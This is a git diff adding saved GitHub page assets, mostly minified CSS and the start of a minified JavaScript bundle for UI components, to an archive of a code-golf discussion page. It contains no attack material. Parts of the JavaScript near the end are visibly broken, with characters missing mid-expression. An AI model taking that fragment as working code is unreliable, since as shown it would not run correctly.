.copy-invite-modal::after{display:none}.access-form-wrapper{padding:8px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-radius:0 0 6px 6px}.access-flash{padding:8px;margin-right:8px;margin-bottom:8px;margin-left:8px}.repo-access-group .blankslate{display:none}.repo-access-group.is-empty .blankslate{display:block}.boxed-group-list .access-level{color:var(--color-fg-muted)}.boxed-group-list .access-level.css-truncate-target{max-width:500px}.settings-next{font-size:14px;line-height:1.5}.settings-next label{font-size:14px}.settings-next .note{font-size:12px}.settings-next .form-checkbox input[type=radio],.settings-next .form-checkbox input[type=checkbox]{margin-top:4px}dl.form-group>dd textarea.compact{height:100px;min-height:0}.form-hr{margin-top:16px;margin-bottom:16px;border-bottom-color:var(--color-border-default, #e5e5e5)}.listgroup{list-style:none;border:1px solid var(--color-border-default, #e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const 